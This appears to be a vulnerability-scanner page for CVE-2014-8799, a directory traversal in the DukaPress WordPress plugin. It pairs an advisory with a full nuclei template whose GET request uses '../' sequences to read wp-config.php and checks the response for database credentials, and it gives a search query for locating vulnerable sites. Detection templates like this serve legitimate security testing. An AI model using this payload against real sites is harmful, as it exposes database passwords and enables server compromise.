CVE-2014-8799· dukapress / dukapress· CWE-22
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
mediumseverity
5CVSS score
67.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
Impact
An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.
Fix
Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" and "DB_USER" and "DB_HOST" AND status 200Run it with nuclei: nuclei -id CVE-2014-8799 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2014-8799
info:
name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.
remediation: |
Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-8799
- https://www.exploit-db.com/exploits/35346
- https://wordpress.org/plugins/dukapress/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/98943
- https://plugins.trac.wordpress.org/changeset/1024640/dukapress
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-8799
cwe-id: CWE-22
epss-score: 0.677
epss-percentile: 0.99323
cpe: cpe:2.3:a:dukapress:dukapress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: dukapress
product: dukapress
framework: wordpress
google-query: inurl:"/wp-content/plugins/dukapress"
tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,dukapress,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
- "DB_USER"
- "DB_HOST"
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2014-8799
- https://www.exploit-db.com/exploits/35346
- https://wordpress.org/plugins/dukapress/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/98943
- https://plugins.trac.wordpress.org/changeset/1024640/dukapress
Use this check only on systems you are authorised to test. Where the data comes from